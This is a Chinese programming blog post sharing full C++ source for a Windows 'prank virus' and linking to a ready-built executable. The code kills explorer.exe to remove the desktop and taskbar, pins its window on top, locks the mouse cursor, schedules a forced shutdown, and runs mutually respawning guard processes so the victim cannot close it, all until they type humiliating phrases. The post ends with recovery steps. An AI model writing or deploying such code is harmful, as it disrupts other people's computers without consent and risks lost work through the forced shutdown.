装X代码,厉害炫酷的程序
69 篇文章2 订阅
订阅专栏
文章介绍了Windows平台上一种整人病毒的代码实现,该病毒强迫用户承认自己是猪,同时有防护程序防止被关闭。程序包括主程序、防护程序、防护2程序和关闭程序四个部分,通过互相调用来维持运行。病毒会隐藏桌面和任务栏,并在一定条件下恢复。用户可通过任务管理器和命令行工具进行解除和防护。
摘要由CSDN通过智能技术生成
展开
㊀程序介绍
这是本人看到的一个整人小病毒,唯一的杀伤力就是逼着你想坑的人承认他是猪。
本次更新:要求运行程序的人手动输入“我是猪”三个字
㊁程序截图
1 本程序的窗口会自动保持最前
2 无法关闭本窗口
㊂代码展示:
#include <Windows.h>
#include <cstdio>
#define BUTTON_ID 10011 /*按钮ID*/
int chang, kuan;
HWND hwnd; /*实例化一个句柄*/
char title[100] = "哈哈哈!!!你被耍了";
HDC hdc ;
PAINTSTRUCT ps ;
RECT rect;
int print( char words[] )
{
hdc = BeginPaint(hwnd, &ps);
/* TODO: Add any drawing code here... */
GetClientRect(hwnd, &rect);
DrawText(hdc, words, strlen(words), &rect, DT_CENTER);
EndPaint(hwnd, &ps);
}
int ckzq()/*刷新窗口*/
{
HWND hForeWnd = NULL;
HWND hWnd= FindWindow(NULL, title);
DWORD dwForeID;
DWORD dwCurID;
hForeWnd = GetForegroundWindow();
dwCurID = GetCurrentThreadId();
dwForeID = GetWindowThreadProcessId( hForeWnd, NULL );
AttachThreadInput ( dwCurID, dwForeID, TRUE);
ShowWindow ( hWnd, SW_SHOWNORMAL );
SetWindowPos ( hWnd,
HWND_TOPMOST,
0,0,0,0,
SWP_NOSIZE|SWP_NOMOVE );
SetWindowPos ( hWnd,
HWND_NOTOPMOST,
0,0,0,0,
SWP_NOSIZE|SWP_NOMOVE );
SetForegroundWindow( hWnd );
AttachThreadInput ( dwCurID, dwForeID, FALSE);
}
int moddle( int x, int len )
{
x = x/2;
x = x-len;
return x;
}
int yndesktop;
int desk()
{
system ( "explorer.exe" );
}
int kenren()
{
int _exit = 0;
MessageBox(NULL, "要想退出,就在下面的每一个问题都点'是'","想退出就乖乖听话", MB_ICONASTERISK|MB_OK);
auto yn = MessageBox(NULL, "在那个框框中输入“我是猪 ”","想退出就乖乖听话", MB_ICONQUESTION|MB_OK);
}
/* This is where all the input to the window goes to */
LRESULT CALLBACK WndProc(HWND hwnd,UINT message,WPARAM wp,LPARAM lp)
{
static HWND btnWnd1;
static bool flag=false;
char szHello[]="哈哈哈!你被耍了";
static HWND hBtn;
static HWND hEdt;
switch(message)
{
case WM_CREATE:
{
btnWnd1 = CreateWindow(TEXT("BUTTON"),
TEXT("X"),
WS_VISIBLE|WS_CHILD, /*按钮属性 */
chang-50,kuan-600, /*按钮位置 */
25,25, /*按钮大小 */
hwnd, /*窗口信息 */
(HMENU)BUTTON_ID,/*按钮子窗口ID*/
0,0);
hEdt = CreateWindow(TEXT("EDIT"), /*创建输入框*/
TEXT("输入你的答案"), /*输入框初始文字*/
WS_CHILD|WS_VISIBLE|WS_BORDER,/*输入框属性*/
moddle( chang, 100 ), moddle( kuan, 40 ), /*输入框位置*/
200, 40, /*输入框大小*/
hwnd, /*窗口信息*/
NULL, NULL, NULL); /*占位指针*/
hBtn = CreateWindow(TEXT("BUTTON"),
TEXT("确定"),
WS_CHILD|WS_VISIBLE,
moddle( chang, 100 )+50, moddle( kuan, 40 )+50,
80, 20,
hwnd,
NULL, NULL, NULL);
break;
}
case WM_PAINT:
{
print ( "哈哈哈!你被耍了" );
break;
}
case WM_COMMAND: /*按钮消息WM_COMMAND来处理*/
{
int id = GetDlgCtrlID(hEdt);
switch(id-wp)
{
case 0:
{
char buf[256];
GetDlgItemText(hwnd, id, buf, 255);
if (strcmp( "我是猪", buf ) == 0)
{
system ( "cls" );
printf ( "结果:你已承认你是猪" );
if ( yndesktop == 1 )
{
MessageBox(NULL, "既然你都已经听话了,那我把桌面还给你","想退出就乖乖听话", MB_ICONASTERISK|MB_OK);
MessageBox(NULL, "我就要离你而去了,呜呜呜","",MB_ICONEXCLAMATION|MB_OK);
desk();
MessageBox(NULL, "稍等一下,我马上就走","",MB_ICONEXCLAMATION|MB_OK);
printf ( "%d", 1/0 );
}
MessageBox(NULL, "我就要离你而去了,呜呜呜","",MB_ICONEXCLAMATION|MB_OK);
printf ( "%d", 1/0 );
}
else
{
system ( "taskkill /f /im explorer.exe" );
yndesktop = 1;
system ( "cls" );
MessageBox(NULL, "想退出就乖乖听话\n作为惩罚,我把你的桌面拆了","!@^%$*)(&^~?:><|{}", MB_ICONASTERISK|MB_OK);
return 0;
}
}
break;
}
switch(LOWORD(wp)) /*wParam的低字节为点击的按钮的ID*/
{
case BUTTON_ID:
{
kenren();
flag = !flag;
break;
}
default:break;
}
break;
}
case WM_DESTROY:
{
PostQuitMessage(0);
return 0;
}
default:break;
}
return DefWindowProc(hwnd,message,wp,lp);
}
/* The 'main' function of Win32 GUI programs: this is where execution starts */
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
//HideWindow();/*隐藏父类窗口,否则被坑的人可以直接关闭程序*/
system ( "title 哈哈哈!你被耍了(未响应)" );/*父类窗口标题*/
system ( "cls" );
WNDCLASS wndcls; /*实例化*/
wndcls.cbClsExtra = 0; /*额外的类的附加字节数*/
wndcls.cbWndExtra = 0;/*窗口额外的附加字节数*/
wndcls.hbrBackground = (HBRUSH)GetStockObject( BLACK_BRUSH ); /*背景颜色,
GetStockObject()函数的返回值是一个HGDIOBJ格式的,强制转换成HBRUSH格式的赋值*/
wndcls.hCursor = LoadCursor(NULL, IDC_WAIT); /*光标的类型 */
wndcls.hIcon = LoadIcon(NULL, IDI_ERROR); /*窗口图标 */
wndcls.hInstance = hInstance; /*应用程序的实例号 */
wndcls.lpfnWndProc = WndProc; /*窗口过程函数 */
wndcls.lpszClassName = "你被耍了"; /*类名 */
wndcls.lpszMenuName = NULL; /*菜单名 */
wndcls.style = CS_HREDRAW | CS_VREDRAW; /*水平重画和垂直重画*/
int x = GetSystemMetrics( SM_CXFULLSCREEN );
int y = GetSystemMetrics( SM_CYFULLSCREEN );/*获取屏幕尺寸(不含任务栏)*/
chang = x - 200;
kuan = y - 200;
RegisterClass(&wndcls); /*注册窗口类*/
hwnd = CreateWindow("你被耍了",
title,
WS_CLIPCHILDREN|WS_CLIPSIBLINGS|WS_POPUP,/*窗口风格*/
100,100,
chang,kuan,
NULL,NULL,
hInstance,
NULL); /*建立一个窗口*/
ShowWindow(hwnd, SW_SHOWNORMAL); /*显示窗口*/
UpdateWindow(hwnd); /*更新窗口*/
MSG msg; /*消息机制*/
while (GetMessage(&msg, NULL, 0, 0)) /*消息循环*/
{
ckzq(); /*每传来一次消息, 就刷新窗口, 以保证窗口最前*/
TranslateMessage(&msg); /*传来的消息翻译*/
DispatchMessage(&msg);
}
return msg.wParam;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
㊃最后还有几个编译时要注意的地方:
1 编译设置
连接器选项 添加 -lgdi32
编译器选项 添加 -std=c++11
㊄ 其他
1 我的编译教程不够详细,无法编译
作者为了满足有些想坑人的小白,直接准备好了已经编译了的exe文件。
1 快速下载
2 限速下载提取码:ucv6
然后,我又看到了一个升级版,由4个代码(展示cpp文件,编译后变成exe才可以使用)组成,注意,由于本程序需要互相调用,所以必须放在同一目录下,且不要轻易修改名称:
第一段,整人主程序,作用:让人承认我是大傻猪,名称 整人代码.cpp
下面是代码:
#include<bits/stdc++.h>
#include<windows.h>
#include <tlhelp32.h>
bool getProcess(const char *procressName) //此函数进程名不区分大小写
{
char pName[MAX_PATH]; //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较
strcpy(pName,procressName); //拷贝数组
CharLowerBuff(pName,MAX_PATH); //将名称转换为小写
PROCESSENTRY32 currentProcess; //存放快照进程信息的一个结构体
currentProcess.dwSize = sizeof(currentProcess); //在使用这个结构之前,先设置它的大小
HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照
if (hProcess == INVALID_HANDLE_VALUE)
{
return false;
}
bool bMore=Process32First(hProcess,¤tProcess); //获取第一个进程信息
while(bMore)
{
CharLowerBuff(currentProcess.szExeFile,MAX_PATH); //将进程名转换为小写
if (strcmp(currentProcess.szExeFile,pName)==0) //比较是否存在此进程
{
CloseHandle(hProcess); //清除hProcess句柄
return true;
}
bMore=Process32Next(hProcess,¤tProcess); //遍历下一个
}
CloseHandle(hProcess); //清除hProcess句柄
return false;
}
void po()
{
if(getProcess("整人代码-防护.exe") == 0){
system("start 整人代码-防护.exe");
}
if(getProcess("整人代码-防护2.exe") == 0){
system("start 整人代码-防护2.exe");
}
HWND hWnd = ::GetForegroundWindow();
::SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
}
using namespace std;
int main()
{
po();
system("taskkill /f /t /im explorer.exe");
string in;
po();
HWND hWnd = ::GetForegroundWindow();
::SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
cout<<"哈哈哈,我把你桌面拆了。如果你关闭我,那么就请准备重启吧(话说你也关不掉,鼠标你就别想动了)。";
cout<<endl<<"输入我是猪,不然就不给你恢复桌面了:";
cin>>in;
po();
if(in == "我是猪"){
cout<<"这是一个事实,哈哈哈\n";
po();
Sleep(5000);
po();
cout<<"怎么了,我忘了什么吗?哦要恢复桌面是吧,那就再说一声我是大傻子:";
cin>>in;
if(in == "我是大傻子"){
po();
cout<<"真乖,哈哈哈哈哈哈\n";
Sleep(1000);
po();
cout<<"看在你说实话的份上,就给你恢复吧,哈哈哈";
system("start explorer.exe");
system("start 整人代码-kill.exe");
return 0;
}
}
po();
cout<<"很勇啊你,让我帮你关机吧!\n";
system("shutdown -s -t 120");
cout<<"温馨提示:输入“我是大傻猪”即可免除关机:";
po();
cin>>in;
if(in == "我是大傻猪"){
cout<<"说的很对,我表示赞同,那就让我大发慈悲的免除你关机吧。\n";
po();
system("shutdown -a");
Sleep(3000);
po();
cout<<"啥?\n";
Sleep(3000);
po();
cout<<"我忘了什么东西?\n";
Sleep(3000);
po();
cout<<"恢复啥?\n";
Sleep(3000);
po();
cout<<"最近记忆不太好,忘了,想让我把你桌面装回来就说一声“我是世上独一无二绝无仅有的超级大傻猪”:";
cin>>in;
po();
if(in == "我是世上独一无二绝无仅有的超级大傻猪"){
cout<<"真乖,看我咻---";
system("start explorer.exe");
system("start 整人代码-kill.exe");
return 0;
}
}
cout<<"唉,人啊,看你这么不认真不说实话,那我走了";
system("start 整人代码-kill.exe");
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
第二段,防护程序,作用:防止主程序和第二个和它相对应的防护程序被关,名称 整人代码-防护.cpp
下面是代码:
#include<bits/stdc++.h>
#include <windows.h>
#include <tlhelp32.h>
using namespace std;
bool getProcess(const char *procressName) //此函数进程名不区分大小写
{
char pName[MAX_PATH]; //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较
strcpy(pName,procressName); //拷贝数组
CharLowerBuff(pName,MAX_PATH); //将名称转换为小写
PROCESSENTRY32 currentProcess; //存放快照进程信息的一个结构体
currentProcess.dwSize = sizeof(currentProcess); //在使用这个结构之前,先设置它的大小
HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照
if (hProcess == INVALID_HANDLE_VALUE)
{
return false;
}
bool bMore=Process32First(hProcess,¤tProcess); //获取第一个进程信息
while(bMore)
{
CharLowerBuff(currentProcess.szExeFile,MAX_PATH); //将进程名转换为小写
if (strcmp(currentProcess.szExeFile,pName)==0) //比较是否存在此进程
{
CloseHandle(hProcess); //清除hProcess句柄
return true;
}
bMore=Process32Next(hProcess,¤tProcess); //遍历下一个
}
CloseHandle(hProcess); //清除hProcess句柄
return false;
}
int main()
{
ShowWindow(GetConsoleWindow(), SW_MINIMIZE);
while(1){
if(getProcess("整人代码.exe") == 0){
system("start 整人代码.exe");
}
if(getProcess("整人代码-防护2.exe") == 0){
system("start 整人代码-防护2.exe");
}
if(getProcess("整人代码-kill.exe") == 1){
break;
}
HWND hWnd = ::GetForegroundWindow();
::SetWindowPos(hWnd, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
SetCursorPos(0,0);
}
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
第三段,防护程序2,作用:和第一个防护程序相呼应,他被关则我打开他,我被关则他打开我,名称 整人代码-防护2.cpp
下面是代码:
#include<bits/stdc++.h>
#include <windows.h>
#include <tlhelp32.h>
using namespace std;
bool getProcess(const char *procressName) //此函数进程名不区分大小写
{
char pName[MAX_PATH]; //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较
strcpy(pName,procressName); //拷贝数组
CharLowerBuff(pName,MAX_PATH); //将名称转换为小写
PROCESSENTRY32 currentProcess; //存放快照进程信息的一个结构体
currentProcess.dwSize = sizeof(currentProcess); //在使用这个结构之前,先设置它的大小
HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照
if (hProcess == INVALID_HANDLE_VALUE)
{
return false;
}
bool bMore=Process32First(hProcess,¤tProcess); //获取第一个进程信息
while(bMore)
{
CharLowerBuff(currentProcess.szExeFile,MAX_PATH); //将进程名转换为小写
if (strcmp(currentProcess.szExeFile,pName)==0) //比较是否存在此进程
{
CloseHandle(hProcess); //清除hProcess句柄
return true;
}
bMore=Process32Next(hProcess,¤tProcess); //遍历下一个
}
CloseHandle(hProcess); //清除hProcess句柄
return false;
}
int main()
{
ShowWindow(GetConsoleWindow(), SW_MINIMIZE);
while(1){
if(getProcess("整人代码-防护.exe") == 0){
system("start 整人代码-防护.exe");
}
if(getProcess("整人代码-kill.exe") == 1){
break;
}
HWND hWnd = ::GetForegroundWindow();
::SetWindowPos(hWnd, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
SetCursorPos(0,0);
}
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
第四段,关闭整人代码和其防护,作用:关闭防护程序和主程序,名称 整人代码-kill.cpp
下面是代码:
#include<bits/stdc++.h>
#include<windows.h>
#include <tlhelp32.h>
bool getProcess(const char *procressName) //此函数进程名不区分大小写
{
char pName[MAX_PATH]; //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较
strcpy(pName,procressName); //拷贝数组
CharLowerBuff(pName,MAX_PATH); //将名称转换为小写
PROCESSENTRY32 currentProcess; //存放快照进程信息的一个结构体
currentProcess.dwSize = sizeof(currentProcess); //在使用这个结构之前,先设置它的大小
HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照
if (hProcess == INVALID_HANDLE_VALUE)
{
return false;
}
bool bMore=Process32First(hProcess,¤tProcess); //获取第一个进程信息
while(bMore)
{
CharLowerBuff(currentProcess.szExeFile,MAX_PATH); //将进程名转换为小写
if (strcmp(currentProcess.szExeFile,pName)==0) //比较是否存在此进程
{
CloseHandle(hProcess); //清除hProcess句柄
return true;
}
bMore=Process32Next(hProcess,¤tProcess); //遍历下一个
}
CloseHandle(hProcess); //清除hProcess句柄
return false;
}
using namespace std;
int main()
{
while(getProcess("整人代码.exe")){
system("taskkill /f /t /im 整人代码.exe");
}
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
作者亲测效果很好,下面是手动关闭此程序(不输入我是猪这些)的步骤:
第一步:乱输一气,因为程序到最后一定关闭,只不过会让你没有桌面(文件资源管理器被关),同时没有任务栏,并且两分钟后关机。但是程序已经关闭。好了,关闭程序的步骤就到此结束
第二步:通过Ctrl+Alt+Delete点任务管理器,打开它,点击右上角的文件,再点击运行新任务,输入explorer,就会打开文件资源管理器,进而恢复桌面和Windows键。
第三步:按Windows+R,打开运行框,输入cmd,回车,打开电脑的命令提示符,输入这一段语句:“shutdown -a”(不含引号),接着电脑的关机指令就会被取消,你的电脑也就恢复了。
作用:
第一步:关闭程序
第二步:打开文件资源管理器,恢复桌面、任务栏和Windows键
第三步:取消关机